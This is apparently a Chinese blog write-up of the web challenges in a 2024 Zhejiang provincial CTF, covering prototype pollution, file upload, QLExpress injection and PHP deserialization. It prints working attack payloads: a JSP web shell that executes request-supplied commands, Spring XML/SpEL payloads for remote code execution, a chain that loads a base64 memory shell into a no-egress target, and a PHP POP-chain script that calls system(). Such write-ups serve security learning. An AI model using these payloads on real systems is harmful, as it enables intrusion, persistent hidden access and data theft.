2024浙江省省赛 web
初赛
这次比赛题目还是比较简单的 我上来就拿了两个血
可惜第三题使用xml加载内存马的时候 脑袋抽了没想出来 可惜了
最后第11名 欸可惜
easyjs
点名了存在原型链污染
污染id=1 的isAdmin为true就行 得到flag
这题不污染也行 乐
hack memory
不知道应该干啥 扫一下
直接上传一句话就行
1 2 3 4 5 6 7 8 9 10
| <% if("poc".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b,0,a)); } out.print("</pre>"); } %>
|
QL_again
这题当时本地可以出 但是线上环境不出网 于是就失败了
这里存在标准的ql表达式注入
开了白名单 无法调用方法 只能使用构造方法 寻找构造方法可以rce的类
想起来之前学到过
但是之前利用的时候是使用的远程xml链接 这里不存在 只能想想别的方法
发现可以加载本地的文件
1 2 3 4 5 6 7 8 9 10 11 12 13
| try {
String code = "import org.springframework.context.support.ClassPathXmlApplicationContext;ClassPathXmlApplicationContext b = new ClassPathXmlApplicationContext('file:///D:/Desktop/.txt');"; ExpressRunner runner = new ExpressRunner(); QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true); Set<String> secureMethods = new HashSet<>(); secureMethods.add(null); QLExpressRunStrategy.setSecureMethods(secureMethods); DefaultContext<String, Object> context = new DefaultContext(); runner.execute(code, (IExpressContext)context, (List)null, false, false); } catch (Exception e) { e.printStackTrace(); }
|
而这题 将QL表达式写入文件的时候 如果没有成功执行 并没有删除
可以利用这一点 加载我们写入的xml文件完成rce
1 2 3 4 5 6 7 8 9
| <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder"> <constructor-arg value="calc.exe" /> <property name="whatever" value="#{ pb.start() }"/> </bean> </beans>
|
但是这里不出网 不能反弹shell 只能想办法打内存马 比赛时也是卡在这个地方
现在花点时间调试一下 这个bean怎么加载进去的
前面主要是环境和logger的初始化 我就不细细调试了
主要加载bean的流程在这里org.springframework.beans.factory.support.DefaultListableBeanFactory#preInstantiateSingletons 调用点在这里
他这里有一个whiletrue 处理我们的xml数据
先将我们需要加载的bean类储存在beanNames
列表里面 这里面就一个pb这个类 然后在getMergedLocalBeanDefinition 里面获取了pb这个类的结构
这里判断了这个bean是不是 FactoryBean 显然我们自己写的类不是 所以调用了getBean方法获取
显然我们自己写的这个类不存在 所以触发了createbean方法
然后触发autowireConstructor 方法 构造出这个类之后进入evaluate方法
在这里造成了rce
这个过程中 在bean加载的时候 实际上是吧
1 2 3 4
| <bean id="pb" class="java.lang.ProcessBuilder"> <constructor-arg value="calc.exe" /> <property name="whatever" value="#{ pb.start() }"/> </bean>
|
里面这部分参数作为spel表达式处理了 根据spel表达式 我们也可以构造任意表达式注入
1 2 3 4 5 6 7 8
| <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="org.example.qlinject.main"> <property name="helloWorld" value="#{ T(java.lang.Runtime).getRuntime.exec('calc') }"/> </bean> </beans>
|
注意的是 这里需要让class内的参数是包内存在的类
如果是不存在的类 会造成抛出报错
原因是前面在获取结构的时候 会触发实例化 去实例化这个class类
如果没有获取到就会直接报错
所以最终的payload如下
1 2 3 4 5 6 7 8
| <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="shell" class="org.example.qlinject"> <property name="helloWorld" value="#{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance()}"/> </bean> </beans>
|
第一次上传写入/tmp/PGJ.txt,第二次加载即可注入内存马
决赛
还是成功拿下省一拉
wucanrce
无参数rce
得到flag
unserialize
爆破得到两次md5哈希之后的值弱比较等于666的值是231
然后打反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| <?php
error_reporting(0); class AAA{ public $aear; public $string; } class BBB { private $pop; } class DDD{ public $bag; public $length; public $magazine; } class EEE{ public $d=array(); public $e; public $f; } class FFF{ public $cookie; } class GGG{ public $green; public $book; } $payload = new AAA(); $payload->aear=new AAA(); $payload->aear->string=new GGG(); $payload->aear->string->book="213"; $payload->aear->string->green=new EEE(); $payload->aear->string->green->d=1; $payload->aear->string->green->e=array('123'); $payload->aear->string->green->f="system('cat /flag.txt');";
echo serialize($payload);
|